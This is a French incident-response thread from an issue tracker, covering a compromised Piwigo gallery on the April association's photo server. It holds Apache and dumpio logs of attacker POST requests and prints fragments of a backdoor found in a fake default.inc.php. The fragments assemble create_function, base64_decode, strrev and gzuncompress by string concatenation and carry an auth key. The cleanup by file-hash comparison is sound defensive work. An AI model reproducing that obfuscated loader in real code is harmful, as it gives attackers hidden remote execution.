Rk7YQ5E%2BETJmNt2WlNABFhAV9UzT1uBz2BsrFjrFgjylajaYNNQgYW5izx947Bmz4G4CRj5qx9FlV3fmzjhgUD8QQHXkn%2BOrxliv4Se%2B
6Cd4xsrrrkMlxpYXRyI7V9BNbKZNjE3PakgNLhrdjAlsznZs0GzKbo16
KeudMx88Mix27SYGKKvdyw4FZ1lXARm5KHIrjlXgTrifIiNKjKYRRY6BmKlB8X5q76U9noeCc2WL6oxqQUXRuqfbWtOnSyKbZd15YweLpw8QB6
OvdsoZl5a4xa7aRpVfDECnBao9Avik3bTBMCDx17FEc8uatNzgeNTMdmvwJnEA9wXb5W8%2BAZYKty9SIMMtCMRHCb34KcKiF%2BIlr1i5XrtO

```
ypAJzriJzmeiV8zhoY%2Bw12EnBo3pxDSNUdV6YtIKn29Y5Tpsl2FGuL
btnzBs2CAjVBNBJWX9WHLdr1WjXiemekLrp6aXgcm87F3biaZiPdSFPYeMethEzuE1jJe9yVtp3%2FBCcY%2BCTlZyudGG3ncCctxVh%2F%2BL
RQ2AAolvUrlIn2DtLsNtDEbOLQS05oCts1Q6D4gYdbMor4eFaazrpeDl6N3JeaORsZxZ%2FXg8aZAoPhTRdM4v%2Fix5EJd5xhevBSv21ilD6Y
SZ%2B6wUf11SqTqietS44mBDcMfoBot1yKJD1sgVrwisJCz%2B5Uy5HF
9kGHW2awIldbul6hyvacsaWeLG2L13cFDRUKDO9esOmrPfwayu6K0fxbcVhD1Klbtbd8dMIevNjH6B461oKgo7T4B7rph8cfQ9NweaF7%2FKqT
UkjbwJ%2FNpM70Lh3o1bW9WwvL1DVVRwp8Joy38aROsbCPCDz7WLo62zYJl5jaXdLQTJj6dVO0161tvA1EIbKU3C3gEfiWcPThGX%
[Sat Aug 18 14:26:21.134919 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(140): [client 172.16.0.1:46442] mod
_dumpio: dumpio_in [readbytes-blocking] 1740 readbytes
[Sat Aug 18 14:26:21.135028 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(63): [client 172.16.0.1:46442] mod_
dumpio:  dumpio_in (data-HEAP): 1740 bytes
[Sat Aug 18 14:26:21.135035 2018] [dumpio:trace7] [pid 31252] mod_dumpio.c(103): [client 172.16.0.1:46442] mod
_dumpio:  dumpio_in (data-HEAP): 2BzLScGJpl5NDJkoQeDS8zHA5%2BHHfLtzbrzwwlhMjsrQCW1JEJTC9iMWGDNECGdpaBaQc2p0Yrb
TI9tswaBM1I860rfvo9co5SjV2Y796MEv7rCXPXmB0u6KMjr76NlkPnW
iLaRV1ssOjp4oPXZPzAWndDtRyiTSQ3cmvndLjzGPHnnHKRcOJwaLq82XlrQzKOQt%2F1idTY5OjJzo8%2BJIHzWyu0pGpSDKobDu22bulecaO
ZuaoM0zmMSYvX8bqBMhTkFlyndFK0xpg4tPXh4kYKT1rZWyteKhzuZ26mHidOK7yGnrFZKrj9DPTHUWp68a8t5wC%2Be%2FBlcoXxA3Kg1bjVr
zY7aPWUabJocTTWhSkunzqt%2BsUXUq8XWMPrWMBGdToP7BE%2B7mQ0w
FqziBKoav6eNvYr%2BZOeoAWa3acWpkCcdTO7NJM3OOPcmM%2FdNcJFDPepbUOwR3RdzG8WMbzm9S4cD9pPlUzeJWLddaCNTaMNh%2BoZXNswn
lx0kpVr1qQWBqXSqW9R02dDBn7F33%2BL%2BqxyTqXmkXPTVjMLLI9hpmecvKadUZO0zZqdbOpcTRpZjVy6Nm0o4rsc4TV8jSZ%2Bc9Md54wSQ
e89bm8ojLS73KQ3JbefbsUt5V1oGfu38xyZIEFKcbDqQZezSzaHSbtZw
AOxmAOvrqC2MizQO8IkcOMeyiDLwzKK0p3S45fhdKjUjTai4KM3tEMiM6hs8Td9WQ92zQ9NjcZY1Y13bPrWIzntn8DnUpDdfVHrDE%2F77IBlz
9Cak%2BUhMrRK8WYD5aZYMvrjHT7uzEkV3K2QmjFmoLKrT6OcMwttv6tmEktIOa5aH4daUd5h8YjtWX2pvNR6ce7JoYjt3zaH52mHLnzeI8PxF
MiYt7WmZVcI6sFes0RoacThS%2FbeipUY3rsMc04yKFW%2B68Bcoxyok
ibS1n9jxFfHrr6UHnJLfChu%2Bpu2a4Es5nU0wiajmV0szS7a2nBa3JZQ2Ak83Y8Ea3ChC9xr24UZsvQ1SuuV%2BZPVQvoHRSR3Q4s4nxpeQF9
m%2FWZ3BW4uMor4WpdNSeluYeFdxuQSvgQkkhmFglPTTLJz9CSiprtrsxPxqvt4f2hw44DSdpr5VzDi4%2BPqwZz0aafJYaPpru7L1U0V4q9sJ
L5LeQrOP62U1PWMXz6JtS6zYiE7e69Nm798Gb5abXPXyDkuCCvug79cO
G9QvWyDABrdvET1uNLrtAEVzIDQMboDEPaUJ2xEj1BSXim7n3ZTsE%2F7TBuXTQz7toM6Wp7ZpN9bMKfzoQeNJ58WWqOz09wu9OhzcoXQyvRji
Z5Qq7NXMDmXlVINhriWearnWBuhtE2Ymw85zn9B4LftjL7mcwnj2a%2FCCbfHCht0NaJkuNA8Yb3l4MnuSexb2Y2tcWT3bv%2FNbif4qo6DFvc
V%2FIijgr6g3XlPV5hf%2B%2B6dNHe9itoGRFm%2Flpvs87DrSXcOp93
L2rdZdZNllbLmf%2F6V6bv676kOp2%2FDvua%2F%2B7z7jH%2B%2Ffcf8z%2F3Tbrvffn%2B8%2F9xr83n3vf16ivz%2F%2F7cc4wIkkpIqEA7
u90NjSPF5vRaGz3rjsPwwDAg%2FDcg49%2F1YBM4yrbdBdLs8yW2SBLpYoKTQgavxCNuBskxMmEkky6awNK9pysUx76hWAGduHwHwH953WiE3P
uVm9xJe
[Sat Aug 18 14:26:22.381269 2018] [dumpio:trace7] [pid 1270] mod_dumpio.c(140): [client 172.16.0.1:46456] mod_
dumpio: dumpio_in [getline-blocking] 0 readbytes
[Sat Aug 18 14:26:22.381297 2018] [dumpio:trace7] [pid 1270] mod_dumpio.c(63): [client 172.16.0.1:46456] mod_d
umpio:  dumpio_in (data-HEAP): 45 bytes
[Sat Aug 18 14:26:22.381300 2018] [dumpio:trace7] [pid 1270] mod_dumpio.c(103): [client 172.16.0.1:46456] mod_
dumpio:  dumpio_in (data-HEAP): GET /picture.php?/2894/category/87 HTTP/1.0\r\n
```

Dans les logs Apache du site :

```
(April) root@photos:/var/log/apache2/photos.april.org# grep "2018:14:26:2[0123]" photos.april.org-*log
photos.april.org-access.log:213.128.89.184 - - [18/Aug/2018:14:26:20 +0200] "POST /local/config/default.inc.ph
p HTTP/1.0" 200 8993 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.1"
photos.april.org-access.log:213.128.89.184 - - [18/Aug/2018:14:26:21 +0200] "POST /local/config/default.inc.ph
p HTTP/1.0" 200 186 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.1"
photos.april.org-access.log:35.192.3.51 - - [18/Aug/2018:14:26:22 +0200] "GET /picture.php?/2894/category/87 H
TTP/1.0" 200 9277 "-" "ltx71 - (http://ltx71.com/)"
```

#16 - 19/08/2018 10:40 - Christian P. Momon

Je viens de faire installation chez moi de Piwigo et j'en ai mis une copie dans */root/piwigo-2.9.4/*.

J'y constate l'absence de fichier *local/config/default.inc.php*.

De plus, celui-ci contient du code présent dans d'autres fichier PHP et qui ne semble rien avoir à faire avec de configuration par défaut :

```
(April) root@photos:/var/www/photos.april.org/piwigo/local/config# grep "function " default.inc.php
function get_default_slideshow_params()
function correct_slideshow_params($params=array())
function decode_slideshow_params($encode_params=null)
function encode_slideshow_params($decode_params=array())
```

Et au milieu du fichier, perdu entre deux fonctions, on retrouve du code bizarre :

```
$_REQUEST = array_merge($_GET, $_POST, $_COOKIE);

$method = "create" . "_" . "function";
$decode = "base" . "64_de" . "code";
$reverse = "str" . "rev";
$decompress = "gzun" . "compress";

$auth = "kcd80775";
```

```
$sname = @session_name();

if (isset($_REQUEST['gw'])
    || isset($_REQUEST[$sname])
) {
    @session_start();
    if (!empty($_REQUEST[$auth])) {
        $_SESSION[$auth] = $_REQUEST[$auth];
    } elseif (!empty($_SESSION[$auth])) {
        $_REQUEST[$auth] = $_SESSION[$auth];
    }
}
```

À noter la référence « kcd80775 » qui est également un paramètre passé dans certaines requêtes d'après les logs PHP.

Pour être complet :

```
(April) root@photos:/var/www/photos.april.org/piwigo/local/config# stat default.inc.php
  File: default.inc.php
  Size: 4529            Blocks: 16         IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 143862      Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2018-08-19 09:30:20.183286609 +0200
Modify: 2015-03-29 03:03:44.000000000 +0200
Change: 2018-04-01 07:57:49.057212216 +0200
 Birth: -
```

Question : avions-nous gardé ce fichier lors de la détection de la précédente attaque ?

#17 - 19/08/2018 11:07 - Christian P. Momon

Sur la vm photos, interrogation des logs web du site depuis le 06/08 (je viens d'étendre le logrotate…) :

```
(April) root@photos:/var/log/apache2/photos.april.org/T# grep default.inc.php *
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:10:16 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 198 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.1"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:10:16 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 234 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:10:17 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 273 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:10:17 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 342 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.1"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:10:18 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 186 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/3
9.0.2171.95 Safari/537.36"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:10:18 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 8993 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
36.0.1985.125 Safari/537.36"
photos.april.org-access.log.1:188.59.46.110 - - [18/Aug/2018:14:24:31 +0200] "POST /local/config/default.inc.p
hp HTTP/1.0" 200 198 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
photos.april.org-access.log.1:188.59.46.110 - - [18/Aug/2018:14:24:32 +0200] "POST /local/config/default.inc.p
hp HTTP/1.0" 200 234 "-" "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
photos.april.org-access.log.1:188.59.46.110 - - [18/Aug/2018:14:24:32 +0200] "POST /local/config/default.inc.p
hp HTTP/1.0" 200 273 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
photos.april.org-access.log.1:188.59.46.110 - - [18/Aug/2018:14:24:33 +0200] "POST /local/config/default.inc.p
hp HTTP/1.0" 200 342 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453
.116 Safari/537.36"
photos.april.org-access.log.1:188.59.46.110 - - [18/Aug/2018:14:24:34 +0200] "POST /local/config/default.inc.p
hp HTTP/1.0" 200 186 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
photos.april.org-access.log.1:188.59.46.110 - - [18/Aug/2018:14:24:35 +0200] "POST /local/config/default.inc.p
hp HTTP/1.0" 200 8993 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:26:18 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 198 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/3
6.0.1985.125 Safari/537.36"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:26:18 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 234 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/2
7.0.1453.110 Safari/537.36"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:26:18 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 273 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.1"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:26:19 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 342 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.145
3.116 Safari/537.36"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:26:19 +0200] "POST /local/config/default.inc.
```

```
php HTTP/1.0" 200 186 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:26:20 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 8993 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.1"
photos.april.org-access.log.1:213.128.89.184 - - [18/Aug/2018:14:26:21 +0200] "POST /local/config/default.inc.
php HTTP/1.0" 200 186 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.1"
```

#18 - 19/08/2018 11:14 - Cédric Heintz

Il faudrait voir ce que ça donne en modifiant les permissions de sorte à ce que uniquement root puisse modifier ces fichiers (default.inc.php / database.inc.php). Et je doit sans doute en oublier.
Dingue cette histoire en tout cas...

#19 - 27/08/2018 11:47 - François Poulain

Faut peut être penser à reporter upsteam ?

#20 - 27/08/2018 11:56 - Christian P. Momon

En analysant les fichiers, certains douteux sont là depuis trèèèèèèès longtemps (autant que la sauvegarde permet de le voir). Vu qu'ils ont patchés plusieurs failles majeures depuis (et encore cet été), difficile de savoir s'ils n'ont pas déjà corrigé le problème que nous rencontrons.

Je propose un nettoyage complet des fichiers et une nouvelle période d'observation. Je suis volontaire pour le faire, aujourd'hui ou demain.

#21 - 27/08/2018 12:08 - François Poulain

Certes mais c'est quand même utile de partager les infos car **beaucoup** d'autres piwigo sont verolés sur la toile.

#22 - 28/08/2018 00:54 - Christian P. Momon

François Poulain a écrit :

> Certes mais c'est quand même utile de partager les infos car **beaucoup** d'autres piwigo sont verolés sur la toile.

Tu as raison : partager est bon. Et là, ça ne coûte pas cher. Je posterai un résumé de notre situation :-)

#23 - 05/09/2018 17:51 - Christian P. Momon

Notes du grand nettoyage que je viens de faire.

Diff entre la version installée et les sources de la version téléchargée :

```
cd /root/piwigo-2.9.4/
find -type f -exec md5sum {} \;> /root/t1

cd /var/www/photos.april.org/piwigo/
find -type f -exec md5sum {} \; > /root/t2

cd /root/
grep -v "/_data/\|.git\|/upload/\|/galleries/\|/themes/\|/plugins/\|/fonts/\|/language/" t1 |sort > t1a
grep -v "/_data/\|.git\|/upload/\|/galleries/\|/themes/\|/plugins/\|/fonts/\|/language/" t2 |sort > t2a
diff t1a t2a | grep ">" | sort -k 3 > dodiff2result
```

Ce qui donne :

```
> d166d0c2aa118a049a56f18a08f727be  ./admin/include/photos_add_direct_process.inc.php
> d6e24cafa4a53a023a8def5a15717973  ./admin/include/uploadify/cancel.png
> 6e13f1471689cd229370f5323f422f9a  ./admin/include/uploadify/jquery.uploadify.v3.0.0.min.js
> 169127a55932ac7bd2bdb8438458194d  ./admin/include/uploadify/uploadify.css
> 25fbd134674c17a0b8ad48d39cbeed22  ./admin/include/uploadify/uploadifyLang_en.js
> 9f96a541a4c6d9c56b538099a49f2beb  ./admin/include/uploadify/uploadify.php
> 78331dd3b7c68ba34aa71727463417c0  ./category.php
> be77644c4a40b998e83e175217d5532a  ./convertcomments.pl
> 4f9c1782b44a1e4197db462116c6ba29  ./_data.pwned.august.tar.gz
> f78ba56a09a2f01227c58111b905f252  ./_data.pwned.tar.gz
> 35bf9a95cea791f623e3bef370b9f731  ./dump-gallery2.sql
> 882b79606b5d6406093794035bea906b  ./dump-piwigodb-after-data-import.sql
> eeff1b33d75632ba8717f02fdfeb919d  ./dump-piwigodb-before-data-import.sql
> d0b7c7fcc7ab12391faead4a27521d35  ./include/php_compat/array_intersect_key.php
> 397b2819ebe2f76c9f39c7ddbb1f832d  ./include/php_compat/hash_hmac.php
> 0e954fb2a8d35b5f0ebc2597e44d2110  ./include/php_compat/json_encode.php
> ec53710567138290df4dca9b8ff4b1fe  ./include/php_compat/preg_last_error.php
> ffaba159a9b9295d625463529cb97e4b  ./include/smarty/libs/sysplugins/smarty_config_source.php
> 762143ac566d46a23006e79b5f2a6fff  ./include/smarty/libs/sysplugins/smarty_internal_config.php
```

```
> 0f826812544232e25132593a203ef59d  ./include/smarty/libs/sysplugins/smarty_internal_filter_handler.php
> 8a49d892a04a3fbb10cca912a7487b39  ./include/smarty/libs/sysplugins/smarty_internal_function_call_handler.php
> 949832bd466c450016bff0a400a13b84  ./include/smarty/libs/sysplugins/smarty_internal_get_include_path.php
> 2b204f9318a8294bc63a17a3c79b8f37  ./include/smarty/libs/sysplugins/smarty_internal_utility.php
> c072ec6843fcf4689e746c2ea313f636  ./include/smarty/libs/sysplugins/smarty_internal_write_file.php
> a334590db3fb6227f1f61f8f85a0e208  ./local/config/database.inc.php
  => fichier contenant le mot de passe
> b66d046d20b502819713bf9ca8c06ae4  ./local/config/default.inc.php
> 00b890eaeb5cafe6e772a6151a0f3fe0  ./template-extension/april/licence.tpl
> d301a05e412dd5109ecfe8ba1cef9c36  ./template-extension/april/licence.tpl~
```

Suppression des fichiers des adminsys qui n'ont rien à faire là :

```
> 4f9c1782b44a1e4197db462116c6ba29  ./_data.pwned.august.tar.gz
  => supprimé avant git add
> 35bf9a95cea791f623e3bef370b9f731  ./dump-gallery2.sql
  => supprimé avant git add
> 882b79606b5d6406093794035bea906b  ./dump-piwigodb-after-data-import.sql
  => supprimé avant git add
> eeff1b33d75632ba8717f02fdfeb919d  ./dump-piwigodb-before-data-import.sql
  => supprimé avant git add
> f78ba56a09a2f01227c58111b905f252  ./_data.pwned.tar.gz
  => supprimé avant git add
```

On git et on créé une branche pour pouvoir y revenir facilement :

```
cd /var/www/photos.april.org/piwigo/
# ajout des bonnes entrées dans .gitignore
git add .
git commit -m "Stored the powned situation before cleaning."
git branch 201808-powned-detected
```

Suppression de plugins via l'interface :

- Admin Tools
- Check Upgrades -> unsupported version of Piwigo
- Community
- Force HTTPS
- Language Switch
- LocalFiles Editor
- Take A Tour of Your Piwigo

Suppression des fichiers en trop par rapport à la version téléchargée :

```
> d166d0c2aa118a049a56f18a08f727be  ./admin/include/photos_add_direct_process.inc.php
  => supprimé
> d6e24cafa4a53a023a8def5a15717973  ./admin/include/uploadify/cancel.png
  => supprimé
> 6e13f1471689cd229370f5323f422f9a  ./admin/include/uploadify/jquery.uploadify.v3.0.0.min.js
  => supprimé
> 169127a55932ac7bd2bdb8438458194d  ./admin/include/uploadify/uploadify.css
  => supprimé
> 25fbd134674c17a0b8ad48d39cbeed22  ./admin/include/uploadify/uploadifyLang_en.js
  => supprimé
> 9f96a541a4c6d9c56b538099a49f2beb  ./admin/include/uploadify/uploadify.php
  => supprimé
> 78331dd3b7c68ba34aa71727463417c0  ./category.php
  => supprimé
> be77644c4a40b998e83e175217d5532a  ./convertcomments.pl
  => supprimé
> d0b7c7fcc7ab12391faead4a27521d35  ./include/php_compat/array_intersect_key.php
  => supprimé
> 397b2819ebe2f76c9f39c7ddbb1f832d  ./include/php_compat/hash_hmac.php
  => supprimé
> 0e954fb2a8d35b5f0ebc2597e44d2110  ./include/php_compat/json_encode.php
  => supprimé
> ec53710567138290df4dca9b8ff4b1fe  ./include/php_compat/preg_last_error.php
  => supprimé
> ffaba159a9b9295d625463529cb97e4b  ./include/smarty/libs/sysplugins/smarty_config_source.php
  => supprimé
> 762143ac566d46a23006e79b5f2a6fff  ./include/smarty/libs/sysplugins/smarty_internal_config.php
  => supprimé
```

```
> 0f826812544232e25132593a203ef59d  ./include/smarty/libs/sysplugins/smarty_internal_filter_handler.php
  => supprimé
> 8a49d892a04a3fbb10cca912a7487b39  ./include/smarty/libs/sysplugins/smarty_internal_function_call_handler.php
  => supprimé
> 949832bd466c450016bff0a400a13b84  ./include/smarty/libs/sysplugins/smarty_internal_get_include_path.php
  => supprimé
> 2b204f9318a8294bc63a17a3c79b8f37  ./include/smarty/libs/sysplugins/smarty_internal_utility.php
  => supprimé
> c072ec6843fcf4689e746c2ea313f636  ./include/smarty/libs/sysplugins/smarty_internal_write_file.php
  => supprimé
> a334590db3fb6227f1f61f8f85a0e208  ./local/config/database.inc.php
  => conservé, contient le mot de passe.
> b66d046d20b502819713bf9ca8c06ae4  ./local/config/default.inc.php
  => supprimé
> 00b890eaeb5cafe6e772a6151a0f3fe0  ./template-extension/april/licence.tpl
  => conservé
```

Ce qui donne :

```
(April) root@photos:/var/www/photos.april.org/piwigo# git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        deleted:    admin/include/photos_add_direct_process.inc.php
        deleted:    admin/include/uploadify/cancel.png
        deleted:    admin/include/uploadify/jquery.uploadify.v3.0.0.min.js
        deleted:    admin/include/uploadify/uploadify.css
        deleted:    admin/include/uploadify/uploadify.php
        deleted:    admin/include/uploadify/uploadifyLang_en.js
        deleted:    category.php
        deleted:    convertcomments.pl
        deleted:    include/php_compat/array_intersect_key.php
        deleted:    include/php_compat/json_encode.php
        deleted:    include/smarty/libs/sysplugins/smarty_config_source.php
        deleted:    include/smarty/libs/sysplugins/smarty_internal_config.php
        deleted:    include/smarty/libs/sysplugins/smarty_internal_filter_handler.php
        deleted:    include/smarty/libs/sysplugins/smarty_internal_function_call_handler.php
        deleted:    include/smarty/libs/sysplugins/smarty_internal_get_include_path.php
        deleted:    include/smarty/libs/sysplugins/smarty_internal_utility.php
        deleted:    include/smarty/libs/sysplugins/smarty_internal_write_file.php
        deleted:    local/config/default.inc.php
```

Si on relance dodiff2, on obtient le résultat normal suivant :

```
> 112d732e3271cc527ba57f67ca7bf65e  ./local/config/database.inc.php
> 00b890eaeb5cafe6e772a6151a0f3fe0  ./template-extension/april/licence.tpl
> d301a05e412dd5109ecfe8ba1cef9c36  ./template-extension/april/licence.tpl~
```

On commit :

```
git add . ; git commit -m "Deleted file not in the download version."
```

Par contre, dans ce processus, j'ai filtrer « themes » et du coup, il reste encore du travail.

Donc, c'est reparti (à noter que j'ai filtré le thème « simpleng » car il ne fait pas partie de la version téléchargeable) :

```
cd /root/piwigo-2.9.4/
find -type f -exec md5sum {} \;> /root/t1

cd /var/www/photos.april.org/piwigo/
find -type f -exec md5sum {} \; > /root/t2

cd /root/
grep "/themes/" t1 | grep -v "/themes/simpleng/" | sort > t1a
grep "/themes/" t2 | grep -v "/themes/simpleng/" | sort > t2a
diff t1a t2a | grep ">" | sort -k 3 > dodiff4result
```

Ce qui donne :

```
> 6f4e20a83198078603e311a03ce5f723  ./admin/themes/clear/icon/datepicker.png
          => supprimé
> 7933464b84f3daecd4a3b37b286c5afe  ./admin/themes/default/fix-ie5-ie6.css
          => supprimé
> 7a5116a155a72c657a05c159e7d4c4b7  ./admin/themes/default/fix-ie7.css
          => supprimé
> 950b1dea90e05c7534e420be74e5d029  ./admin/themes/default/icon/datepicker.png
          => supprimé
> e91285b666969efacff8c20f9010e571  ./admin/themes/default/icon/remove_filter_hover.png
          => supprimé
> ffb2ffe023e2017bf6f85a846ecbd024  ./admin/themes/default/icon/remove_filter.png
          => supprimé
> 03f75be0a1d12d6ddddb52bd3c959c26  ./admin/themes/default/local_head.tpl
          => supprimé
> 40115888897b0b136d6a1b22e7a09871  ./admin/themes/default/template/configuration.tpl
          => supprimé
> a3aee40f7a37b62a0890d12a4f7e1865  ./admin/themes/default/template/profile_content.tpl
          => supprimé
> 7000f5b21c00b8e22adaaf79a77099b8  ./admin/themes/default/template/profile.tpl
          => supprimé
> 9fef40e0f3ba51a4e39655192a30543c  ./themes/clear/pem_metadata.txt
          => supprimé
> 2430afbad2a7104db9126ee20724fa40  ./themes/dark/pem_metadata.txt
          => supprimé
> d097ff1593eeda4b0349f8a9260f9799  ./themes/default/js/datepicker.js
          => supprimé
> 1936585831e8bcf4eb5ef1081c8e2574  ./themes/default/js/plugins/colorbox/style1/images/ie6/borderBottomCenter.
png       => supprimé
> 7ceeb01563f030dc47837fd8bad29488  ./themes/default/js/plugins/colorbox/style1/images/ie6/borderBottomLeft.pn
g         => supprimé
> 297fb77440870d91f519bcecdb312725  ./themes/default/js/plugins/colorbox/style1/images/ie6/borderBottomRight.p
ng        => supprimé
> 64df0244eeaade27764d2cf33606527b  ./themes/default/js/plugins/colorbox/style1/images/ie6/borderMiddleLeft.pn
g         => supprimé
> 9fa458eaaa35b80b2452f35a1d6b4d0c  ./themes/default/js/plugins/colorbox/style1/images/ie6/borderMiddleRight.p
ng        => supprimé
> 01ecb01841270f3a765aadf4900929f3  ./themes/default/js/plugins/colorbox/style1/images/ie6/borderTopCenter.png
          => supprimé
> bf4949b95b09d255edd9bcb8358a3557  ./themes/default/js/plugins/colorbox/style1/images/ie6/borderTopLeft.png
          => supprimé
> 51315fa19507a33d5f1b5411598593e7  ./themes/default/js/plugins/colorbox/style1/images/ie6/borderTopRight.png
          => supprimé
> b02eebde872e7416c2315b51ed9c37f5  ./themes/default/js/plugins/colorbox/style1/index.html
          => supprimé
> e9bdd308d0c5978e837e5aba1c5712d6  ./themes/default/js/plugins/colorbox/style2/images/controls.png.old
          => supprimé
> b02eebde872e7416c2315b51ed9c37f5  ./themes/default/js/plugins/colorbox/style2/index.html
          => supprimé
> c44a3deb74de1d0bef75378b3349808d  ./themes/default/js/plugins/datatables/css/demo_page.css
          => supprimé
> ba835dab01f1b91f93f0ee4ad2de1a4b  ./themes/default/js/plugins/datatables/css/demo_table.css
          => supprimé
> bd968116e9ade41f7ffde91bb8f6063a  ./themes/default/js/plugins/datatables/css/demo_table_jui.css
          => supprimé
> 5bdd3692a1252b1403ddb7538d34fa8e  ./themes/default/js/plugins/datatables/css/jquery.dataTables_themeroller.c
ss        => supprimé
> 574c1fdbe98e07b336aeee94514cba7f  ./themes/default/js/plugins/datatables/images/back_disabled.png
          => supprimé
> 9d29134dd5e1c2192916ef9104dd877e  ./themes/default/js/plugins/datatables/images/back_enabled_hover.png
          => supprimé
> 2998e23d43af7c7857149b0e725ccad6  ./themes/default/js/plugins/datatables/images/back_enabled.png
          => supprimé
> c30dc560221bcc0645b55eff79b4741e  ./themes/default/js/plugins/datatables/images/favicon.ico
          => supprimé
> 72ead25432b5a84031b8333aa5fbf259  ./themes/default/js/plugins/datatables/images/forward_disabled.png
          => supprimé
> 9be5f327f16bcad317c8ad0ae92635d8  ./themes/default/js/plugins/datatables/images/forward_enabled_hover.png
          => supprimé
> a8c664b8219ffde978db3d8308713975  ./themes/default/js/plugins/datatables/images/forward_enabled.png
          => supprimé
> 9c287dd51872df723c35176fdcb4893d  ./themes/default/js/plugins/datatables/images/Sorting icons.psd
          => supprimé
> 4517f1e4834e04104ce50f9cd256e76b  ./themes/default/template/include/datepicker.inc.tpl
          => supprimé
> f36022a58c5b7df0e250d1d072f20a4a  ./themes/elegant/language/eu_ES/theme.lang.php
```

```
          => supprimé
> 2793f2891372f55e576e95914c3c37c6  ./themes/elegant/pem_metadata.txt
          => supprimé
> 53e7c644b052db5e0267e6f09945e27c  ./themes/smartpocket/language/eu_ES/theme.lang.php
          => supprimé
> 6ce511f058662aa1c0e64915511ac91f  ./themes/smartpocket/pem_metadata.txt
          => supprimé
> 8f3b480e9d00b44d41dca183463300de  ./themes/Sylvia/pem_metadata.txt
          => supprimé
```

Si on relance le diff, le résultat est vide. : normal.

```
git add . ; git commit -m "Deleted theme files not in the download version."
[…]
git branch 201808-powned-aftercleaning
```

Note : il conviendrait de vérifier aussi le thèmes simpleng…

Maintenant, nous avons :
- une version identique à la version téléchargée (excepté pour le thème simpleng) ;
- une trace git pour détecter les futurs changements.

Plus qu'à attendre le prochain vérolage…

#24 - 05/09/2018 20:10 - Christian P. Momon

Message posté dans l'issue du projet : https://github.com/Piwigo/Piwigo/issues/827#issuecomment-418825000
(avec déjà une réponse…)

#25 - 05/09/2018 20:37 - Christian P. Momon

- Statut changé de En cours de traitement à Attente d'information

#26 - 06/09/2018 13:33 - Quentin Gibeaux

- Version cible changé de Été 2018 à Septembre 2018

#27 - 04/10/2018 09:54 - Quentin Gibeaux

- Version cible changé de Septembre 2018 à Octobre 2018

#29 - 08/11/2018 12:27 - Quentin Gibeaux

- Version cible changé de Octobre 2018 à Novembre 2018

#30 - 06/12/2018 10:21 - Quentin Gibeaux

- Version cible changé de Novembre 2018 à Décembre 2018

#32 - 10/01/2019 11:51 - Quentin Gibeaux

- Version cible changé de Décembre 2018 à Janvier 2019

#33 - 31/01/2019 13:18 - Quentin Gibeaux

- Version cible changé de Janvier 2019 à Février 2019

